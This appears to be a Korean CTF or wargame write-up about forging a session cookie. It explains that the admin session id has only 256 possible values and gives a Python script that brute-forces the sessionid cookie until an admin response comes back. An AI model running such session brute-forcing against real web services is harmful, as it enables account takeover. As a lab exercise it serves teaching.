문제
Session 값 위조
- session 값을 admin 아이디가 저장된 세션 값으로 바꿔주면 된다.
코드 분석
- admin 계정의 session id 값의 범위는 00 ~ FF 인 것을 확인할 수 있다.
session_storage[os.urandom(1).hex()] = 'admin'
공격 Payload
- 만들어 질 수 있는 모든 session id 값을 쿠키에 넣어주면 된다.
- 00 ~ FF 를 모두 sessionid 쿠키 값에 넣어주면서 admin 에 해당하는 session id 값을 찾아주면 된다.
import requests
URL = "공격 주소"
COOKIE = {"sessionid":""}
def request()->str:
res = requests.get(url=URL,cookies=COOKIE)
return res.text
def find_sessionid():
for i in range(0,256):
# print(str(hex(i)).replace('0x','').zfill(2))
COOKIE["sessionid"]=str(hex(i)).replace('0x','').zfill(2)
t = request()
print(i)
if 'admin' in t.lower():
print(str(hex(i)).replace('0x','').zfill(2))
break
return
def main():
# request()
find_sessionid()
return
if __name__ == "__main__":
main()
댓글남기기